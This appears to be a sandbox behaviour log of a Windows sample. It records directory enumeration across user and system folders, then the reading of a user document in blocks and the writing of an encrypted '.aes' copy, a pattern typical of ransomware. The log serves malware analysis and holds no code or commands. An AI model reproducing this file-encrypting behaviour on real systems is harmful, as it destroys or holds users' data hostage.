Fn
File Get Info filename = C:\ProgramData\Microsoft\Assistance\Client\1.0, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Assistance\Client\1.0\en-US, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Crypto, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Crypto\DSS, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Crypto\DSS\MachineKeys, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Crypto\Keys, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Crypto\RSA, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Crypto\RSA\S-1-5-18, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Device Stage, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Device Stage\Device, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Device Stage\Task, type = file_attributes True 1
Fn
System Sleep duration = 1 milliseconds (0.001 seconds) True 2
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\Microsoft\Windows\Recent, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\kFT6uTQW\Pictures, type = file_attributes True 3
Fn
File Get Info filename = C:\Users\kFT6uTQW\Pictures\e8B06t5z, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Pictures\e8B06t5z\joDdd, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Pictures\e8B06t5z\joDdd\hGZFj, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Pictures\e8B06t5z\joDdd\TmdCgSua1hPeIxp_g-_, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Pictures\e8B06t5z\k-E 1jpgXeyuKG, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Pictures\e8B06t5z\vGEj4z4hhmv, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Pictures\e8B06t5z\vGEj4z4hhmv\vuewIfEOk, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Pictures\e8B06t5z\vGEj4z4hhmv\w26w, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Music, type = file_attributes True 3
Fn
File Get Info filename = C:\Users\kFT6uTQW\Music\e1mt wOaqipijv7EcVN, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Music\e1mt wOaqipijv7EcVN\oGal6NmV2cY0e3 6, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Music\e1mt wOaqipijv7EcVN\sPKPdtJk, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Music\e1mt wOaqipijv7EcVN\sPKPdtJk\clNOjUrNMvl, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Music\e1mt wOaqipijv7EcVN\sPKPdtJk\clNOjUrNMvl\D XgP5yxO, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Music\e1mt wOaqipijv7EcVN\sPKPdtJk\clNOjUrNMvl\miHhH, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Music\e1mt wOaqipijv7EcVN\sPKPdtJk\clNOjUrNMvl\_bCyujY, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Videos, type = file_attributes True 3
Fn
File Get Info filename = C:\Users\kFT6uTQW\Videos\extoA, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Videos\extoA\5rxjC 2TW9I2cmhDLv, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Videos\extoA\5rxjC 2TW9I2cmhDLv\Eyqf5KSeCaMN6njljm, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Videos\extoA\5rxjC 2TW9I2cmhDLv\LNVGgurmVCVr5ekCq-4, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Videos\extoA\5rxjC 2TW9I2cmhDLv\uXWBnEhIHTl8W, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Videos\extoA\5rxjC 2TW9I2cmhDLv\WQHnOCgB21aCcC, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Videos\extoA\IjyI ku9gKWYYPFGATz, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Videos\extoA\r-_fU8vdku2TwrL, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Desktop, type = file_attributes True 3
Fn
File Get Info filename = C:\Users\kFT6uTQW\Desktop\1ZxEG6XM, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Desktop\1ZxEG6XM\cNh, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Desktop\N DTF4xE4-dKUqMoR, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Desktop\_KMnL2J, type = file_attributes True 1
Fn
System Sleep duration = 1 milliseconds (0.001 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Favorites, type = file_attributes True 3
Fn
File Get Info filename = C:\Users\kFT6uTQW\Favorites\Links, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Favorites\Microsoft Websites, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Favorites\MSN Websites, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Favorites\Windows Live, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\Public\Documents, type = file_attributes True 3
Fn
File Get Info filename = C:\Users\Public\Documents\My Music, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\Public\Documents\My Pictures, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\Public\Documents\My Videos, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\Public\Pictures, type = file_attributes True 3
Fn
File Get Info filename = C:\Users\Public\Pictures\Sample Pictures, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\Public\Music, type = file_attributes True 3
Fn
File Get Info filename = C:\Users\Public\Music\Sample Music, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\Public\Videos, type = file_attributes True 3
Fn
File Get Info filename = C:\Users\Public\Videos\Sample Videos, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\Public\Desktop, type = file_attributes True 3
Fn
File Get Info filename = C:\, type = file_attributes True 2
Fn
File Get Info filename = C:\$Recycle.Bin, type = file_attributes True 1
Fn
File Get Info filename = C:\$Recycle.Bin\S-1-5-21-1534390919-4215197118-2202912847-1000, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\cs-CZ, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\da-DK, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\de-DE, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\el-GR, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\en-US, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\es-ES, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\fi-FI, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\Fonts, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\fr-FR, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\hu-HU, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\it-IT, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\ja-JP, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\ko-KR, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\nb-NO, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\nl-NL, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\pl-PL, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\pt-BR, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\pt-PT, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\ru-RU, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\sv-SE, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\tr-TR, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\zh-CN, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\zh-HK, type = file_attributes True 1
Fn
File Get Info filename = C:\Boot\zh-TW, type = file_attributes True 1
Fn
File Get Info filename = C:\Documents and Settings, type = file_attributes True 1
Fn
File Get Info filename = C:\MSOCache, type = file_attributes True 1
Fn
File Get Info filename = C:\PerfLogs, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\Filters, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\ar-SA, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\bg-BG, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\cs-CZ, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\da-DK, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\de-DE, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\el-GR, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\en-US, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\es-ES, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\et-EE, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\fi-FI, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\fr-FR, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\auxpad, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\keypad, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\main, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\numbers, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\oskmenu, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\osknumpad, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\oskpred, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\symbols, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\web, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\he-IL, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\hr-HR, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\hu-HU, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\HWRCustomization, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\it-IT, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\ja-JP, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\ko-KR, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\lt-LT, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\lv-LV, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\nb-NO, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\nl-NL, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\pl-PL, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\pt-BR, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\pt-PT, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\ro-RO, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\ru-RU, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\sk-SK, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\sl-SI, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\sr-Latn-CS, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\sv-SE, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\th-TH, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\tr-TR, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\uk-UA, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\zh-CN, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\ink\zh-TW, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\MSInfo, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\MSInfo\en-US, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\OFFICE11, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\OFFICE11\1033, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\OFFICE12, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\Stationery, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\TextConv, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\TextConv\en-US, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\Triedit, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\Triedit\en-US, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\VC, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Microsoft Shared\VGX, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\Services, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files\Common Files\SpeechEngines, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files (x86)\Internet Explorer, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files (x86)\Internet Explorer\en-US, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files (x86)\Internet Explorer\SIGNUP, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files (x86)\Java, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files (x86)\Java\jre7, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files (x86)\Java\jre7\bin, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files (x86)\Java\jre7\bin\client, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files (x86)\Java\jre7\bin\dtplugin, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files (x86)\Java\jre7\bin\plugin2, type = file_attributes True 1
Fn
File Get Info filename = C:\Program Files (x86)\Java\jre7\lib, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Assistance, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Assistance\Client, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Assistance\Client\1.0, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Assistance\Client\1.0\en-US, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Crypto, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Crypto\DSS, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Crypto\DSS\MachineKeys, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Crypto\Keys, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Crypto\RSA, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys, type = file_attributes True 1
Fn
File Get Info filename = C:\ProgramData\Microsoft\Crypto\RSA\S-1-5-18, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\All Users\Package Cache\{e6e75766-da0f-4ba2-9788-6ea593ce702d}, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\All Users\Package Cache\{f325f05b-f963-4640-a43b-c8a494cdda0f}, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\All Users\Package Cache\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\All Users\Package Cache\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\packages, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\All Users\Package Cache\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\packages\vcRuntimeAdditional_x86, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\All Users\Start Menu, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\All Users\Sun, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\All Users\Sun\Java, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\All Users\Sun\Java\Java Update, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\All Users\Templates, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\af, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\am, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ar, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\az, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\bg, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\bn, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ca, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds\Microsoft Feeds~, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\WebSlices~, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds Cache, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds Cache\1NBUR4HR, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds Cache\6ASVN7J7, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds Cache\D68G7BIJ, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\Feeds Cache\KQMHSVKD, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\FORMS, type = file_attributes True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Local\Microsoft\IME12, type = file_attributes True 1
Fn
Thread 0xb8c
(Host: 2569, Network: 0)
+
Category Operation Information Success Count Logfile
System Sleep duration = 20 milliseconds (0.020 seconds) True 63
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, type = file_type True 2
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config, type = file_attributes True 1
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
